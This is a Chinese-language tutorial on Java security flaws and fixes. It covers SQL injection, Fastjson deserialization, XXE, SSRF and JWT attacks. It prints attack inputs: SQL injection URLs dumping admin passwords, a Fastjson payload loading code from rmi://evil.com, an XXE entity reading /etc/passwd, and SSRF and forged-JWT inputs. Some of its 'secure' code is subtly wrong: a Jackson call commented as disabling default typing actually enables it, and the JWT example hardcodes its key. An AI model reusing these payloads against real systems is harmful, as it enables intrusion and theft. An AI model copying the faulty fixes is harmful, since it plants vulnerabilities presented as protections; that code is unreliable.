Java安全攻防案例分析
常见漏洞类型概览
graph TD
A[Java安全漏洞] --> B[注入类]
A --> C[反序列化]
A --> D[SSRF/XXE]
A --> E[认证授权]
A --> F[其他]
B --> B1[SQL注入]
B --> B2[命令注入]
B --> B3[模板注入]
C --> C1[原生反序列化]
C --> C2[Fastjson]
C --> C3[Jackson]
E --> E1[越权访问]
E --> E2[JWT安全]
典型案例分析
1 SQL注入案例
漏洞代码示例
// 不安全的代码
public User getUserById(String id) {
String sql = "SELECT * FROM users WHERE id = " + id;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql); // 直接拼接SQL
return mapUser(rs);
}
攻击方式
# 攻击者构造恶意输入
GET /api/user?id=1 OR 1=1--
GET /api/user?id=1 UNION SELECT username,password FROM admin--
安全修复方案
// 安全代码 - 使用预编译语句
public User getUserById(String id) {
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, id); // 参数化查询
ResultSet rs = pstmt.executeQuery();
return mapUser(rs);
}
// 使用MyBatis等框架
@Select("SELECT * FROM users WHERE id = #{id}")
User getUserById(@Param("id") String id);
2 反序列化漏洞案例
Fastjson漏洞利用
// 攻击者提交的恶意JSON
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://evil.com:1099/exploit",
"autoCommit": true
}
安全防护方案
// 方案1: 使用安全版本(Fastjson >= 1.2.83)
// 方案2: 配置安全模式
ParserConfig.getGlobalInstance().setSafeMode(true);
// 方案3: 使用JSONObject代替自动类型
JSONObject.parseObject(json); // 不指定类型
// 方案4: 白名单过滤
ParserConfig.getGlobalInstance().addAccept("com.yourapp.entity.");
原生Java反序列化防护
// 安全的对象反序列化
public class SecureObjectInputStream extends ObjectInputStream {
private static final Set<String> WHITELIST = new HashSet<>(Arrays.asList(
"com.yourapp.entity.User",
"java.util.ArrayList"
));
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if (!WHITELIST.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized deserialization", desc.getName());
}
return super.resolveClass(desc);
}
}
3 XXE攻击案例
漏洞XML
<!-- 恶意XML --> <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user> <name>&xxe;</name> </user>
安全XML解析
// 不安全 - 使用默认配置
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
// 安全配置
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
// 对于JSON解析
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // 禁用自动类型绑定
4 SSRF(服务器端请求伪造)
漏洞示例
// 不安全的URL访问
public String fetchUrl(String url) {
URL targetUrl = new URL(url);
HttpURLConnection conn = (HttpURLConnection) targetUrl.openConnection();
return IOUtils.toString(conn.getInputStream());
}
// 攻击者传入: http://169.254.169.254/metadata/ (云元数据)
// 攻击者传入: http://localhost:8080/admin/ (内网服务)
防护方案
public class SafeUrlFetcher {
private static final Set<String> BLOCKED_IP = new HashSet<>();
private static final Set<String> BLOCKED_DOMAIN = new HashSet<>();
static {
BLOCKED_IP.add("127.0.0.1");
BLOCKED_IP.add("localhost");
BLOCKED_IP.add("169.254.169.254");
// 添加更多
}
public String fetchUrl(String url) {
// 1. 白名单/黑名单校验
URL targetUrl = new URL(url);
String host = targetUrl.getHost();
// 防止DNS rebinding
InetAddress[] addresses = InetAddress.getAllByName(host);
for (InetAddress addr : addresses) {
if (BLOCKED_IP.contains(addr.getHostAddress())) {
throw new SecurityException("SSRF blocked: " + url);
}
}
// 2. 只允许特定协议
if (!"https".equals(targetUrl.getProtocol())) {
throw new SecurityException("Only HTTPS allowed");
}
// 3. 重定向处理
HttpURLConnection conn = (HttpURLConnection) targetUrl.openConnection();
conn.setInstanceFollowRedirects(false); // 禁止自动重定向
return IOUtils.toString(conn.getInputStream());
}
}
5 JWT安全案例
不安全的JWT存储
// 攻击方式
// 1. 将算法改为none
{"alg":"none","typ":"JWT"}
{"sub":"admin"}
// 2. 算法混淆攻击(RS256 -> HS256)
{"alg":"HS256","typ":"JWT"}
// 使用公钥作为HMAC密钥
// 3. 弱密钥爆破
安全的JWT实现
public class JwtService {
private static final SecretKey KEY = Keys.hmacShaKeyFor(
"your-secure-random-key-with-sufficient-length".getBytes()
);
public String generateToken(User user) {
return Jwts.builder()
.setSubject(user.getUsername())
.claim("role", user.getRole())
.setIssuedAt(new Date())
.setExpiration(new Date(System.currentTimeMillis() + 3600000))
.signWith(KEY, SignatureAlgorithm.HS256)
.compact();
}
public Jws<Claims> verifyToken(String token) {
return Jwts.parserBuilder()
.setSigningKey(KEY)
.build()
.parseClaimsJws(token);
}
}
安全开发最佳实践
1 输入验证框架
public class InputValidator {
// 使用注解进行参数校验
@NotBlank(message = "用户名不能为空")
@Pattern(regexp = "^[a-zA-Z0-9]{4,20}$", message = "格式错误")
private String username;
@Email(message = "邮箱格式错误")
private String email;
@Size(min = 8, max = 20, message = "密码长度需在8-20位之间")
private String password;
}
2 日志脱敏
public class SensitiveDataFilter {
public String mask(String value) {
if (value == null) return null;
if (value.length() <= 4) return "****";
return value.substring(0, 2) + "****" +
value.substring(value.length()-2);
}
public String maskEmail(String email) {
int atIndex = email.indexOf('@');
if (atIndex <= 1) return email;
return email.substring(0, 1) + "****" +
email.substring(atIndex);
}
}
渗透测试工具与框架
1 常用工具
// 使用OWASP ZAP API进行自动化测试
public class SecurityScanner {
public void scan(String targetUrl) {
// 初始化客户端
ClientApi clientApi = new ClientApi("localhost", 8080);
// 开始扫描
try {
// 爬取目标
clientApi.spider.scan(targetUrl, null, null, null, null);
// 启动主动扫描
clientApi.ascan.scan(targetUrl, "true", "false", null, null, null);
// 获取警报结果
List<Alert> alerts = clientApi.getAlerts();
// 分析并报告
} catch (Exception e) {
// 异常处理
throw new RuntimeException(e);
}
}
}
安全合规检查清单
graph TD
A[安全合规检查] --> B[代码层面]
A --> C[配置层面]
A --> D[部署层面]
B --> B1[SQL注入防护]
B --> B2[XSS防护]
B --> B3[CSRF防护]
C --> C1[敏感信息加密]
C --> C2[默认密码修改]
C --> C3[TLS配置]
D --> D1[最小权限运行]
D --> D2[依赖版本检查]
D --> D3[入侵检测系统]
总结要点
| 安全层面 | 关键措施 | 优先级 |
|---|---|---|
| 输入验证 | 使用参数化查询、请求参数校验 | 高 |
| 输出编码 | XSS防护、HTML实体编码 | 高 |
| 认证授权 | JWT签名验证、RBAC模型 | 高 |
| 数据加密 | AES-256、RSA2048+ | 中 |
| 日志安全 | 敏感数据脱敏、日志审计 | 中 |
| 依赖管理 | 定期更新、漏洞扫描 | 中 |
安全开发核心原则:
- 最小权限:只授予必要的权限
- 纵深防御:多层安全防护机制
- 失败安全:系统失败时保持安全状态
- 不信任用户输入:所有外部输入都需要验证
- 安全默认配置:默认配置即安全配置
这些案例展示了Java应用中常见的安全问题及解决方案,实际开发中应结合具体业务场景,采取相应的防护措施,并定期进行安全审查和渗透测试。
